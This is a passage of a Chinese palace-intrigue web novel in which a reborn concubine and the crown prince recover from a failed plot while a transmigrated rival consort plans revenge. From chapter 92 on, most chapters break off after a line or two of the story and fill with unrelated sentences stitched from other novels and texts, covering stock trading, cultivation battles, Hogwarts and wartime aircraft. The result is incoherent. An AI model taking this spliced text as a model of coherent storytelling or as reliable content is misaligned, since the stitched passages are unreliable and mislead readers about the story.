“夜里你晕倒才诊出来的,太医说你受了惊,暂不宜远距离挪动,如何?这会儿可还觉得有哪不舒服?” 槛儿摇摇头:“多谢娘娘关心,妾身暂时没有觉得哪不舒服了,就是,妾身……” 说着,她略显踌躇地抚上小腹。 “莫哭莫哭。” 郑明芷很是体贴地替槛儿擦擦眼角的泪。 “太医说了有了身孕切忌大喜大悲,知道你高兴,但也要放宽心知道吗?” 两辈子,槛儿还是头一回听郑氏拿这样的语气跟她说话,还替她擦眼泪。 即便知道对方在做戏。 槛儿也禁不住暗暗打了个寒颤,嘴上从善如流地应道:“好,妾身明白了。” 又言语关切了一番。 知道儿子怕是还没跟小昭训说上话,裴皇后便寻了个由头,带着郑明芷和曹良媛如来时那般匆匆走了。 屋里重新静下来。 两人同时看向彼此,默默对视一眼。 骆峋重新来到榻前,再重新端起那杯温水,犹豫要不要像刚刚那样喂她。 喂,会显得太刻意。 不喂…… 槛儿好歹跟这人生活了一辈子,多少还是能从他那张冷脸上读出几分意思。 她只觉得太子这辈子的改变可真大啊,跟上辈子一比完全就像是两个人。 槛儿装出几分虚弱来。 抬起还微微有些泛红的眼睛,软声道:“殿下,妾身的手好没劲儿,动不了了……” 骆峋:“……” 骆峋只当没看见她眼里的刻意,一脸正色地坐过去,揽着她的肩喂她喝水。 槛儿没劲是假,口渴是真,大半杯水被她咕咚咕咚一口气给喝见底了。 最后一口太子喂得有点急。 槛儿没怎么来得及吞咽,水从唇角溢了出来,顺着下巴一路流到颈子上。 喝完她也没顾仪态,靠在男人肩头喘气。 “有劳殿下了。” 骆峋放了杯子,拿帕子擦去她唇和脖子上的水渍,淡声问:“这么渴?” 槛儿仰头看他,“昨晚忘记喝水了。” 喝水都能忘了。 就算她不说,骆峋也知晓其中原因。 拿帕子擦去她嘴角的水渍,骆峋的指腹在上面抚了抚,“没事了,不必担心。” 槛儿抱住他。 她确实活过一辈子,不论在东宫内还是东宫外,接人待物都能应对自如。 可这种关系到几个皇子争权,可能会危及东宫的大事,还是上辈子没发生过的。 且她帮不了什么。 槛儿便自认欠些火候。 骆峋感受着她环住他的力道,轻拍了拍她的肩,“孤说了,不会让你有事。” 之前,他的确没想过走这一步棋。 自小母后和身边的谋臣便告诉他,他是中宫嫡子,是名正言顺的大位继承人。 只要他不犯错,那个位置迟早都是他的。 这样的话,父皇也曾说过。 他相信父皇母后,也相信自己,所以这些年他虽暗地里有布置,却是只求稳妥。 但端午射柳之事却提醒了他,他即便手眼通天,也终究会有不察疏忽之时。 而随着父皇的年岁越来越大,他老人家对他的疑心病也只会越来越严重。 如此。 睿王等人便有的是机会往他身上叠加罪名,直至最后让他被父皇厌弃。 至此,骆峋的想法有了改变。 只他到底低估了睿王夫妻的无耻程度,直至昨日前收到线人来报。 得知睿王夫妻这回的具体计划,得知他二人妄图对她行那等龌龊下流之事时。 骆峋第一次感到愤怒! 若非限制槛儿的行动会打草惊蛇,昨晚他都不会给那些人接近她的机会。 所幸,陈家姐弟这步棋他早有安排。 父皇只知陈家姐弟和信王、荣王、睿王三方都有干系,却不知在此之前母后的人便暗中找过他二人了。 与其说是信王、荣王、睿王想借陈家姐弟给彼此,给他使绊子,倒不如说是母后让他们和陈家姐弟有了联系。 诚然,母后不会让父皇出事。 他幼年时父皇真心疼爱他,骆峋也不会容许陈家姐弟真对父皇做什么。 且弑君,又哪会如此容易。 这一点,陈家姐弟很清楚。 所以换言之,他二人的目标其实从始至终就只一个,那便是报长姐之仇。 是睿王。 至于信王和荣王,他们并不在意。 骆峋知道父皇会疑心他。 朝中也会有人猜忌他。 但没关系,他不会让父皇坐实对他的怀疑,也不会叫朝中的某些人抓住把柄。 当然,这些事骆峋不打算告诉槛儿。 昨夜睿王夫妻妄图对她不轨的事,骆峋亦不愿脏了她的耳朵,让她犯恶心。 槛儿见太子说完那句“不会让她有事”就没声了,猜到他是在想昨晚的事。 她也没追着问。 等他想得差不多了。 槛儿才很小声地问:“昨晚您和娘娘都忙,怎么还把妾身抱到娘娘这儿来了?” 如果他暂不想把她有身孕的消息公开,即便她晕倒,也可就在琼苑诊治。 骆峋险被她做贼似的模样逗笑,好在他稳得住,神色平淡地同样压低声音。 “顺势而为,无需再瞒。” 他不至于拿尚未成形的幼子做筹码。 槛儿有些意外,她原以为太子这时候公开她有孕的消息是另有打算呢。 没想到只是顺势而为,倒是她多心了。 槛儿暗窘。 骆峋看着她明澈如水的眸子,想到了昨晚她手攥金簪朝他扎来时眼里的决绝。 莫名的感觉,心里似有什么要钻出来。 骆峋抿抿唇。 旋即低头,唇瓣很轻地印在她的眉心。 刚亲完,不经意瞟到窗户。 日光灼灼。 太子爷的身子陡然一僵。 青天白日就罢,居然在母后宫中便…… 太子爷的脸绷了又绷。 最终呼出一口气。 罢。 她夜里受了惊,他是该安抚。 “呕……呕,呕!” 宣王府,揽霞居。 姜侧妃从醒来就开始吐。 过了半个时辰她感觉五脏六腑都要呕出来了,喉间那股恶心却还是止不住。 春桃不住地替她顺着气。 “太医说了您的腿至少要静养三个月,您这样泡在浴桶里实在不利于养伤,没准儿还会加重伤势,起来吧主子。” 姜侧妃伤的是左腿。 伤处已经进行了复位和固定。 这会儿她整个人泡在浴桶里,那条伤腿便以一种高难度的姿势搭在浴桶边。 夹板固定的地方早沾了水。 姜侧妃吐得眼泪哗啦直流。 “我要泡!我要泡!我身上都是屎,全是屎味儿,我不干净了呜呜呜……呕!” 第91章 太子爷的别扭,其实就是想太多…… 春桃、秋桂昨晚在宫门外候着,并不知道自家主子在宫里发生了什么。 姜侧妃不省人事地被抬回来时,宣王和宣王妃也都没说她是怎么受的伤。 俩丫鬟一头雾水呢,又不得不继续劝。 “没有不干净,您身上香着呢,不信您闻?这还是您亲自调制的香露呢。” “是啊主子,您身上香得都入味儿了,再香下去,只怕外头那些蜜蜂蝴蝶还当是花仙子来了呢,您就起来吧,” “滚开!别碰我!” 姜侧妃杀人的心都有了。 昨晚她本来打算让宋槛儿向她道歉。 只要对方态度好,她就大人大量不追究她端午家宴上不给她面子的事。 都是女人,她不想为难同性。 谁知那姓宋的,一直跟她装傻就不说,最后竟还敢让身边的奴才对她动手! 姜侧妃就纳闷了。 这里不是古代封建社会吗? 不是最注重皇权等级吗? 宋槛儿一个区区七品昭训,哪来的胆子敢对她一个二品的亲王侧妃不敬? 姜侧妃真心厌恶雌竞,厌恶搞雌竞的人,所以她真心看不起古代这些为了争男人而斗得你死我活的女人。 她让宋槛儿跪下磕头,只是为了迎合这个时代罢了,对方道完歉她就愿意和她相亲相爱,这样不好吗? 偏偏那姓宋的要自甘下贱自甘堕落,硬要和同为女性的她为敌,简直可笑。 不过也行。 姜侧妃心想,她早该清楚的。 这世上不论男女,都不可避免的会有烂人,她本来也就不该把人想得那么好。 既然如此,对于这种敬酒不吃吃罚酒的人。 她也不需要再客气! 所以昨晚在被小宫女扶起来的时候姜侧妃就打算,看什么时候寻个机会把宋槛儿重生的事告诉太子。 反正,她逮着她的把柄了。 不怕太子不信。 心里有了主意,姜侧妃也没那么气了,准备顺便去恭房解决一下再回水榭。 但让她没想到的是,就在她解决完刚准备穿裤子时她所在的隔间里灯灭了! 不等她反应,她右腿的某个地方突然一麻,她整个人不受控制地就往恭桶栽。 当时她使劲想扭转身子。 想呼救。 谁知这时另一条腿也麻了,还像是被人点了哑穴,丁点儿声音都发不出来! 她根本来不及反应。 脚就一崴,整个上半身都栽进了恭桶。 恭桶! 里面她刚刚解决的啊! 还是热的! 都以为她是摔晕的,实际她是被恶心晕的! 她的嘴里还…… “呕!呕!” 姜侧妃一个劲儿干呕。 如是又过了半个时辰。 终于有了消停的迹象,姜侧妃虚脱地靠着浴桶,有气无力地问:“王爷呢?” 她都这样了,那男人居然没来看她! 好大的狗胆! 春桃:“宫里出了大事,王爷早上回来没多会儿就又出去了,现在还没回来呢。” 姜侧妃晕了一晚加一上午,醒来后又一直在吐,压根儿还不知道发生了什么。 “什么大事?” 春桃、秋桂对视一眼,把屋里伺候的小丫鬟都支出去,这才压低了声音。 春桃:“您不知道,陛下今儿一早下了好几道圣旨,信王爷、荣王爷还有睿王爷、睿王妃都被降罪了!罪罚还不轻!” 姜侧妃一惊,来了兴趣。 示意春桃赶紧说。 春桃就道:“说是信王爷和荣王爷席间吃醉了酒,御前失仪,以下犯上。 今日早朝这两位王爷被陛下当众申饬,各廷杖六十,之后被罚了三年俸禄,革了六部的职闭门思过一年,两个王府内还都安排了人看守着! 睿王爷和睿王妃更严重,祸乱宫闱,败坏伦常!睿王爷被贬成了庶人,今天起幽禁于城东南的十王府,终身不得出。 据说睿王妃本是该赐死的,但她诞育皇孙有功,最终也被贬为了庶人,发配到大觉寺剃度做苦役去了!” 秋桂补充:“前睿王妃的爹承德侯爷被削爵罢了职,郭家一家子都要被流放到三千里外的滇东南开化府。” “对了,还有魏贵妃!” 春桃想起来,低声道。 “魏贵妃现在成魏嫔了,她爹不是安临伯吗?现在也是庶人了,全家被逐出京了!” 这可真是大事! 姜侧妃都顾不得去想自己栽进恭桶的事了,打了鸡血似的盯着两个大丫鬟。 “快说说到底咋回事?好好的怎么说罚就罚了?太子呢?其他几位王爷呢?” 春桃、秋桂先是齐齐摇头。 她们哪能知道得这么细啊。 她们刚刚说的这些都是陛下公开下了圣旨的呢,圣旨上又不会说这么细致。 春桃:“您是问太子有没有被罚吗?没有,咱们家王爷和慎王爷,简王爷都没事。” 姜侧妃大失所望。 太子怎么就没被罚呢。 要是就此把太子废了该多好。 太子出了事,东宫的女眷自然而然讨不到好,到时候宋槛儿还能跑得了? 不对! 信王、荣王、睿王都出了事。 没错了,一定是太子动的手脚! 信王有德妃的娘家和皇长孙两个筹码,睿王有魏贵妃在后面撑着,近几年这两个人是太子最大的威胁! 他俩出事,不可能和太子脱得了干系。 关键就在于证据。 没有证据证明是太子,一切都白瞎。 不过,又是廷杖又是革职。 睿王夫妻甚至成了庶人,娘家还连坐了,说明这几个皇子犯的事比想象中还大啊。 据姜侧妃所知,皇子是皇家宗室的关键。 一次性处死几个皇子或者把人都废了这种事,一般只有昏君和暴君做得出来。 且很容易引起朝局动荡,动摇国本。 能让元隆帝下这样的旨……说明睿王他们犯的罪极有可能涉及到谋逆?! 姜侧妃被自己的猜测惊到了。 问题是这个荣王…… 她有点想不通。 荣王的生母只是元隆帝潜邸时期的一个普通侍妾,生荣王的时候难产死了。 荣王刚开始被裴皇后养着。 后来裴皇后小产,荣王就被抱养给了当时的赵侧妃,也就是现在的赵淑妃。 荣王打小聪明,有仁恕慈爱的美名,早些年和信王睿王也是争锋相对。 不过荣王运气不好。 前头那个王妃极其善妒,某次和后院妾室斗的时候一时气性上了头。 把毒投给荣王了! 荣王捡回了一条命,但腿脚却从此落了病。 好像是成了长短腿。 平时那只脚传穿着特制的鞋倒是看不出来,一旦走得稍微快些就非常明显。 荣王因此丧失了夺嫡资格。 不过可能是因为曾经被裴皇后养过两年,荣王倒是一直没有针对过太子。 这两年不知为何,人也开怀了许多。 和宣王一样,是太子党。 既然如此,荣王怎么会遭呢?总不能太子连他自己的人都不放过吧? 姜侧妃一时半会儿还想不到但凡牵扯到权力利益之争,便少不了丢车保帅。 此时她想不通书里没有万寿节这段剧情,太子怎么突然就这么大动作了? 这事宣王一定知道。 她得问问宣王。 还有宋槛儿。 姜侧妃紧紧扣着浴桶边沿。 宋槛儿身边那个宫婢的手劲儿可不简单,自己前脚和宋槛儿起了争执,后脚就栽了这么大一个跟头! 要说不是宋槛儿叫人做的。 她把脑袋割下来当球踢! 姜侧妃冷笑。 她给过机会了,是对方自己不珍惜。 等着吧。 穿书女vs重生女,只能是穿书女胜! 第一卷 第92章 太子剥葡萄“反正孤不会在书房和她……” 骆峋沐浴后才过来的。身上换了件茶白绣云雁竹纹的宽袖常服,能闻见一股沐浴不久的淡淡香露味。知道她生理期,知道她伤了手不能用力,知道她不舒服,也知道她并不想在这儿多说……知道太多了,真的不是好事。“这说明扬子石化目前也极为强势,我们的股票今天极有可能来一个涨停板!”大牛看着扬子石化分时图的火箭发射,兴奋地说。林雪寻笑嘻嘻的说:“没事,就是问问,今天早上舍长回来了,看到你不在……”不用说也知道后面的意思了。歆王的手一招,天极大山轰然落下,伴随着道道湛蓝色的天极磁光,朝着月王镇压了下去。来到魔界这么久,她自己也清楚龙虎教的势力太过庞大,遍布整个暗月境,除非离开这里,否则就要面对对方无休止的追杀。外公外婆听佣人报告说,大少爷抱着少夫人回了卧室,他们不敢前去打搅,通知开饭。服装上的钻石反射着舞台灯光,这一瞬间,舞台上唯一的一人仿佛黑色丝绒上的钻石一般闪闪发亮,然后,他笑了。十几丈宽的巨大翅膀遮天蔽日,微一抖动,庞大身躯就消失在原地,几乎是同一时间,数千丈外一道银光正冲向天际,如果有修士在旁,肯定会震撼于这种极致速度。人人都希望获得信任,否则会心理紧张。要获得别人的信任,就要先做个值得别人信任的人。对别人猜疑的人,是难以获得别人的信任的。这个游戏的目标就是使学员在活动中建立及加强对伙伴的信任感。我能够想到的事情就是如果以后真的要在这个地方生活的话那必须要有的就是车,那如果在一个特大型城市的话那就不需要说了,完全不需要。承认对方的存在,仅仅是方便角色理解整个世界。将世界当作真实,自然也就将对方当作真实,而顺理成章的,自己这个角色也就是真实的啦。澳岩宇宙神勃然大怒,好像楚峰就是他的亲兄弟一般,不对,是比亲兄弟还亲的兄弟,总之,就是伤在楚峰身上,痛在他心里。说着,琉星转身踏入了拥有水银泻地般美丽银色边框的第一道大门。耀眼夺目的火焰猛烈的燃烧着,一时间连时间都被火焰啃食掉了。纵使是这样,黑卡蒂仍从容不迫的跟随者琉星的脚步前行。王氏、萧氏乃是昔年天皇废后和废淑妃的姓氏,武曌改其为蟒氏和枭氏,可见曾几何时有多厌恨,如今却心平气和地提起了,这对于上官婉儿来说,可不是个好兆头。“法证组这两天在整理资料,明天要忙一天,我就不去了。”程晋松解释道。想必那个进入茧中的毛毛虫,也不是为了什么化蝶,仅仅是受不了自己这种状态,仅仅是浑身难受,仅仅是自己也不知道怎么回事,那些曾经重要的心爱的玩意突然间就变得可有可无。葛福顺起身惊道:“大王这是何意?他……他和宗楚客是一伙……”话还未说完,他已经被陈玄礼捂住了嘴巴,硬生生地扣回到席子上。 第一卷 第93章 是谁?!是谁咒他们东宫的小主子! 骆峋将巾子放回托盘里,对槛儿的话似乎并不意外,面不改色道:“嗯,为何?” 槛儿知道银竹把昨晚在小院发生的事报给他了。 银竹是太子的人,保护她是职责所在,有什么事要上报合情合理。 大伯只说一半话,李家明会意地点头。父亲虽然精明强干,但演技不行,这事得先瞒着他,否则会露出马脚,反而不美。 “不,不会吧,我觉得这个还是不要拿来说笑。”林薰抽了抽嘴角。 真是术有专攻,自己老师教的是如何冷静、理智分析各种经济现象,找出隐藏其中的规律,分析其原因。人家老师教的是人性,让表演真实可信而非凭空想象。 而唐天梳理了从绑架开始到现在的所有事情,他发现了这中间有一个时隐时现的关键人物,杨宏轩。 这些乌七八糟的事情,周赫煊懒得过问。他在离开警察厅以后,没有立即返回扬子饭店,而是坐着黄包车前往中央医院。毕竟闵舟是因他受伤,周赫煊不得不关心。 唐离一剑剑刺杀而去,在他的引领下,身后地唐军一步步上前,最终将这个被吐蕃人第一次打开地缺口紧紧堵住。 黑龙越发疯狂地咆哮,它感觉自己的意念在慢慢消散。它并不知道为什么会这样,它甚至没有感觉到攻击。 她是一个空姐,经常要飞来飞去,所以对林允儿最近接触过什么人并不了解,不过,她有自己的办法。 眼看唐天如同之前一样不亢不卑后,毒蝎完全相信唐天的身份不简单,打算当和事老,事情是在她的地盘出的,若是双方真要斗起来,无论哪方最终获胜,她都要被牵扯进去。 且说奇点离开苏家寨,沿大路向京城方向走去,行了几里路,觉得苏仙茉看不到他了,趁着夜色,四下无人,腾空而起,径直大岳城而来,不多时行至皇宫大内,直奔冷宫而来。 江长安心道不妙,仙猿指锋芒毕露,正面难当,当即脚下九宫转动,闪身避过,眨眼后撤数十步,面沉如水。 林初唯有将他所有的担忧详细解释了一遍,她才有所领悟,了然地点了点头。 东方云阳与川本美奈两人也有不舍,不过此刻的两人也没有办法,毕竟军部的命令,两人现在不得不离开了。 大黄仿佛像是听懂了窦唯的话一般,窦唯的话音刚落,它便扭过头来“汪、汪”的叫了两声。 鹊没有试图通过跑动就躲开,他原地一个打滚就翻入了依旧滚烫的废墟中。猩红的双眼愈发明亮,巨大的危机感催促着他,如果不能在短时间内找到他的背包,那么自己就需要面对死局了。 只是这话,却让新党大员江南总督唐延和江南巡抚诸葛泰颇为不满。 在向学生们介绍了斯拉格霍恩之后,邓布利多稍稍收敛了仿佛永远挂在脸上的笑容。 夜色已深,贾琮一行二十余骑自千户所后门鱼贯而出,消失在茫茫夜色中。 秦峰的声音不咸不淡,反正罗宗南可是自己培养出来的机器人,无论怎么说他都不会跟自己有什么态度的。 这可不是简简单单的升迁,这里面的政治含义还是相当的让人揣摩的。 她和肖恒都马上就要结婚了,天阴是知道的,她并没有理由那么做。 第一卷 第94章 太子只能吃素,“朕摘了他脑袋!” “要沐浴?” 元隆帝步进来。 和刚走到门口的裴皇后撞个正着,见妻子只着了身中衣,元隆帝随口问道。 裴皇后应了一声,见他身上还穿着朝服,她道:“水备好了,陛下要不一起?” 元隆帝嗅了嗅胳膊,嫌弃地皱皱眉。 “不过说真的,你运气实在是太差了。”说着的时候,风越也没忍住笑了出来。 然而,在其他动物中,我们看不到一点点直立行走的趋向,这是为什么呢?如此追问下去,我们人类的进化谱系究竟是怎么来的呢? 期间也有其他的幽冥黑蛟扑过来,但是结果都是一样,不管怎么撞都撞不开步步生莲的防护罩。 “周总,这总智能造舰中心有多少个?它们一天能造多少艘战舰?”军事部长眼睛一亮,欣喜若狂地追问。 这个时候就算他知道,他只要说创世神上保证再也不会添加任何东西,在场的事情就可以完全平息,可是他也不愿意这么干,因为,他就算丢失了一些东西,也不想在这些神灵面前丢失最后的一样诚信。 不过这次和昨天死一般的寂静截然不同,离太平间还有十几步远,就听见太平间里满是吵闹声。 可刚踏上去,就立刻觉得不对劲,心里特别慌,思绪顿时如一团乱麻扭在一起怎么都理不清。他担心后面的人追上来,非但没有退,反而是更加用力往前走。 就在这些血龟守卫几乎要被他丢光,还剩下三两个的时候,血口之下终于有了动静,一股庞大的气息悠然升起,威压覆盖八荒。 而秦翔在回到秦家后,向碧东腾禀报的关于那个买走神秘地图的神秘人似乎是来大宗派,具体是哪个宗派叫什么名字,查不到,就连飞宝楼也没有详细信息。 但独孤宇和叶雨时却是松了一口长气,因为天可怜见,他们终于看懂了。 可惜她今天运气是真不好,天琼之矛十八万斤的力道,根本不是魂斗罗能够抵挡。 有飞行魂师坠落,浑身冒着袅袅烟气,还有的则是惊恐的紧急降落。 在这个时候,剑域比武大会依旧在进行,无数人讨论着傅红雪到底死没死,无数人在叹息他无法再参赛了。 丹姨娘立即叫屈,声声泪下,嘴里还提到了已经过世的姐姐,也就是这董大人的原配妻子。 莫部长微微点头,作为封神部青龙组的大部长,与西方观光团的约战,第一战和第二战莫部长在洁丽雅公主这神秘的祷告之术上,吃了亏莫部长又怎么可能不关注这位洁丽雅公主的祷告之术呢? 而六大黑衣人皆是神藏之境,修为强大无比,此刻杀来,竟然是挡无可挡。 狼,食肉目犬科犬属,夜间活动。嗅觉敏锐,听觉良好。性格残忍而机警,极善奔跑,常采用穷追方式获得猎物。 宋镜下午来时康零的父亲并不在家,康凝只是简单的说了一句家里面来了一个亲戚家的孩子,大晚上的回来太晚,大家都休息了便没有特意介绍,毕竟明早是一样的。 他在交州苦熬八年,终于有出头的机会,决不能平白将一世英名折在这里。 “不管多么困难,这件事情也要做。”我面无表情,用一副不可质疑的口吻回答道。 第一卷 第95章 调戏太子?“殿下生得俊,妾身看呆了。” “我就说她是借那小蹄子作椽子跟我过意不去,如今竟是连装都不装了。” 听完庞嬷嬷的回禀,郑明芷低声嘲讽道。 “越过正牌主母儿媳直接给儿子的侍妾赐赏,这种没品的事也亏她做得出来。” 拓跋枫的心腹看着自家爷停留在出关的城池一夜,也不知道他在想什么。 千叶不自觉的后退了几步,但还是看着陌南笙,坚持要让他放人。 “不可以。”夜疏离环绕在容兮腰间的手护着她的肚子,掌心贴着她的,然后将她抱在怀中。 穿着深青色粗布长袍的门房本来见到君亭和心儿衣着不凡,刚刚露出笑脸准备好生招呼二人,却没想到随后就听到君亭说是来拜访千叶的,那脸一下子就拉得老长。 龙九儿一挥手,乾坤链上一道热气挥出,好不容易挥开了前面两头狼。 都发了两条评论了,这一回,这个叫做浮生一梦的作者总不能再坐视不管了吧。 水伊人本也没想和他算账只是想逗逗这傻男人,可瞧着他憨厚的笑容下不动声色的狡猾,心里起了兴致。 看着高大挺拔的男人往旁边一躲,直接把她垂涎的饮料给喝了,容兮眼睛都瞪大了。 水伊人便想了个法子,画了不少的玩偶图,准备让邓通找人做出来,配上店里的成衣一块售卖,买成衣送布偶。 千叶依垂首,恭恭敬敬的给许宁见礼,将之前的那股子在芙蕖面前的嚣张气息尽数给收了起来。 又是在海面上飞行了三天,羊绵绵都怀疑蓝月儿是不是运气逆天了,才会被冲到那么远的地方时,天空忽然乌云密布,海面上浪潮翻滚,一看这天,就知道肯定是有一场暴风雨要降临了。 关于自己的邪门儿本事,从头到尾全知道的,也就王善良和庄祖琴了。只不过,庄祖琴好像自始至终都不太信而已。 陈卫一看属性,就知道这是与火毒蜘蛛一个路子的存在,不过这东西比起火毒蜘蛛好控制多了。 见姜叙得了回复以后,傻了吧唧的就朝着里面跑去,郭侃止不住的摇头嘲讽道。 他不再管身旁的大长老,开始朝着扶桑树主干行去,石兰族族人见张玄是和大长老一并来的,便没有人跳出来阻拦他,只是看着他一脚深一脚浅的向神树走去。 时候差不多就起身告退,回了淑雅苑却刚进门就听到一身摔东西的响声。 可偏偏无论发生什么事,裴妤总是能够冷静应对,甚至早早就想好了对策。 而就在他刚下楼走到三楼的时候,手机上的时间正好跳到了00:00的位置,也就是凌晨十二点。 原以为会听到裴妤大声求救或者呐喊,然而接下来的一幕却出乎大家的意料。 而东方卅月也是陪着他,似乎就是跟在叶阳的身后,而青丘瑶月也是跟在东方卅月的一旁。 站在一旁的殷柔闻言欲要解释,只见男人黝黑的眼仁里射出一抹冷峻之色,让人不敢开口说话。 他嘴角滑过一抹苦笑,猛然拿起茶几上所剩无几的红酒,仰起脖子,像喝白开水似的将酒一饮而尽,然后把酒瓶往茶几上重重一砸,一道清脆的响声在房间里显得格外突兀。 当场,紫袍人便被困在了其中,被牢笼中恐怖的禁制封的动弹不得。 第一卷 第96章 太子爷:“禁房事,你再忍一个月。” “放心,我喜欢你的样子,喜欢你身上的每一个环境,也很喜欢你。 韩颖儿自是不知道这些的,她心底很生气,觉得师云生心里没有她了。 “决定去哪家滑雪场了吗?”外公一边翻看着手里的报纸一边询问道。 这一巴掌是朝着梁姣絮打的,但却偏离了,直接擦过她的脸颊,把她头上的发簪拍掉了。 来到演播室的两人将台本在面前的桌子上摆放好,初春指导着中元调试着面前的设备,将一切都准备好之后,两人同时带上了耳机。 娜娜敏在听到了自己的名字时还愣了一愣,原本合十祈祷的双手也忍不住握了握拳,抬头确认了确实是喊的自己之后,展露出了很少在她脸上看到的明媚笑容。 街上行人不断,有挑着担的,有赶着牛车的,还有飞驰而过的马车。 忧郁男只是诧异,他身上的伤口原本非常的严重,还汩汩流着血。 梦雪很久都没出来转了,在市场里看看这个,看看那个的,徐风跟在身后,看来今天吃饭的问题只能放在最后了。 芍药略有所思地点点头。但没等她接话,夏寻便转了话风继续严肃说了。 过程波澜不惊,大学里的考试跟高中时候有着完全颠覆性的区别,只要能力过关,或者作弊水平高超,再或者平时跟教授们搞好关系,总会能混一个及格线。 厅内,从神色不尽相同的六大豪门公爵,十三望族的伯爵家主,到御前会议的各位:情报总管莫拉特·汉森,财政大臣裘可·曼,军事顾问梭铎·雷德等等,都静静地分立在王座之侧。 第3飞行团再派一个中队的航空兵,也是整整12架零式飞机,支援进攻枣阳一线的中线日军部队。 独老的话,虽说得不错。但,若放到整件事情来看,那就显得非常牵强了。先不说,大家都不知道那村子里,到底藏着何等密辛。光说大年夜的山顶一战,打得便很让人摸不着脑袋了。至于发生了什么事,那就更无从说起。 突然间。第二元神上的黄道阵星盘如惊醒一般,星芒闪现,一股冰凉感觉。几乎是在瞬间就布满他的全身,然後,叶云就像是下意识般神念从遮天阴玉中走了出来。 说出此番话的玄剑子肯定是被别的派说怕了,所以才会这么做,特地把一些修为高的弟子派出去炫耀一下。 食堂边坐着两位儒者,正在悠悠然地沏茶对饮。话语间漫不经心,似乎对这位少年并无惊讶。 北方的天气是干燥的,要是不喝水,嗓子就会“冒烟”。而南方的回潮天气,薄雾笼罩,烟雨潇潇,水气弥漫,坡地湿漉。 说完,她就告知队伍,等晚上再继续,成员一个接一个退出了游戏。 一路上都是悄无声息的,回了洋房这边,江光光并没有再楼下停留,直接上了楼,合衣倒在了床上。 我根本没法再思考,只能松松垮垮扣着他脊背,任由他为所欲为。 “我们走。”烨华紧闭的眸子颤了颤猛然张开,对着一旁的黑影冷声道。 洛乐阳被他那二愣的模样逗乐,嘿嘿一笑,故意拿着钥匙扣在他眼前晃荡。 看过奥运烟火盛典。大抵,没的焰火再能超过,但心气儿终究不同,美的东西,总是值得欣赏的。 伸手要将程容简拖出去时,他才发现程容简的脸上已全是粘稠的血液。隐约的光线中,他是紧紧的护着怀里的人的。 程容简的思绪微微的顿了顿,或许,他过来,是老宅那边的授意。 我张了张口,满脑子都被霍继都的伤口占据了,像个呆子一样立着不动。 是自己的错觉吧,不是说人死后会出现一个记忆中最深刻的地方么? 此时此刻,她坐在傅景嗣的办公室等着他安排的人来接她。百无聊赖之下,颜雾从包里拿出粉饼补妆。 但是传闻很多,有人说大赛是御守军团组织的,目的是为了挑选新人,也有人说组织者是原料工厂,甚至还有人说组织者其实是最高存在,反正也没一个得到证实。 跑了不到二十米,前面忽然亮起两盏车灯,二十多人拎着砍刀向他们围拢而来。 不管是人类咒术师天花板的五条悟,还是咒灵界的天花板,都无法与他比较。 “封先生放心,令妹明天就可以去武安医院报到,我会把一切都安排好!”松本笑道。 所以林然这一趟来了首先搞清楚这些家伙们的计划是什么,然后就是获得点数。 可以肯定的是,如果签了这个协议,那就彻底的成为了夜枭组织的人了,而且三年内不得退出。 有有肉的父母今将手机送到屏幕中央,南郭沛凝佩英看到后不禁颤抖起来,心中依然坚强。 夜幕降临的时候,队伍走下了山坡,在半山腰一块平坦的位置停了下来,雪山上最恐怖的黑夜要来了,他们不能继续往前走,夜晚在雪地中行军和找死没什么区别。 第一卷 第97章 “孤要见姜氏。”兄与弟,储君与臣子 没想到自家六哥会突然过问起他与府中侧室的事,宣王被吞到一半的茶水呛得猝不及防,俊脸涨得通红。 好不容易缓过来。 他窘然地问:“六哥怎生想起问这个了?” 六哥并非那种会过问别人府中私事的人,与女眷相关的私事更是不会。 吴杰跟在冰龙的后面,心中也很是得意,在他看来,这种白得的东西,不要白不要,要了不白要。 间中,他就讲得挺详细,很多对水青都不会说的感受,居然告诉了第一次见面的人。觉得不妥当,但没法停止。他需要有人能指点一条明路,哪怕这人是甲乙丙丁。 “好吧,不管你说的是不是真的,看在你的面子上我们也不会对天罚一族出手了。”青色巨龙笑道。 见没有声音回复自己,他“蹭”地一下就蹿了起来,走到轩辕明轩跟前,伸手一捞,然后揪着他的脖领子把他给提溜了起来。 只听门外的一声低沉的叹息声,沐一一看见江稷漓放下了那只举了很久的手臂,那个时候,他的手中似乎有着什么东西在轻轻的向东这,哗啦哗啦的,十分飞悦耳。 这是一件很悲哀的事情,但是她并不在乎,甚至更加坚定了自己的想法,心中隐隐多了些期待。 等到他还没有坐定了下来,秦扬也推门而入了,两人彼此望了一眼,互相笑了笑。 在一间幽静的餐厅内,精美罕见的雕纹,高贵的紫金餐具,宜人的环境都显示着其中的不凡。 冰绡有些微喘的转过身来,气冲冲的看着沐一一,眼里充满了愤怒。沐一一也意识到,就在刚才,自己真的是高估自己的勇气了,仅是一头狼而已,她根本动弹不得。 秦明暗暗点头,这个轩辕明轩,已经基本上具备做一个帝王的潜力,不论是气质,还是身上成年累月积累出来的这摄人心魄的威势,都已是十分不凡。 木瓜是零阶低级的普通作物,植株和果实中本源都几近于无更别提产出什么魔植精华了,简直可以被进化者们归为杂草的行列,没有一丁点的利用价值。 熊妖刚可以动弹,见余生在面前,刚要一刀劈下去,余生举起黑猫。 与此同时,叶昊身上的气息不由自主的散发了出去,整个洛阳城全都被这股气息所震撼。 马上叶昊的身影直接飞出皇宫,来到东海之上,大秦王界不光有大陆,海洋也是囊括了十分之多。 就这样,流马与克力架战在一起,两剑撞击在一起,碰撞出了强烈的火花。 屋顶上的司幽见猪神红着眼追杀过来,不惊反喜,转身向那城门跑去。 他看了看手里的大绿棒子,觉着在这儿建一座啤酒坊还是挺不错的,足以成为招牌。 但是一到晚上,永夜之力突如其来的一倍涨幅和黑夜汲取的二度增幅,林愁就完全处于懵逼状态了。 经过这一战,估计暂时没有佣兵的追杀了。野狼佣兵团的灭团,只有团长野狼,以及副团长的神格逃了回来,彻底把那些佣兵们吓到了。 再者在李珅的眼中,就算是大秦帝庭和大荒王庭联手,也不见得能够攻下烈焰妖王界。 她已经进入绵忆珠宝公司工作五年,如今是行销部门的一员,负责商场商品的销售计划。 第98章 姜侧妃:“我看谁敢动!谁敢动!” “主子,王爷过来啦!” 宣王府,揽霞居。 小丫鬟兴冲冲地跑到正房门口,脆声禀道。 东次间,角落里放着冰鉴。 姜侧妃正在铺着荆楚云丝细簟的美人榻上半躺着,两个小丫鬟在旁边轮流打扇。 春桃、秋桂一个喂饭,一个夹菜。 姜侧妃有一下没一下地嚼着嘴里的饭菜,对门外小丫鬟的通禀置若罔闻。 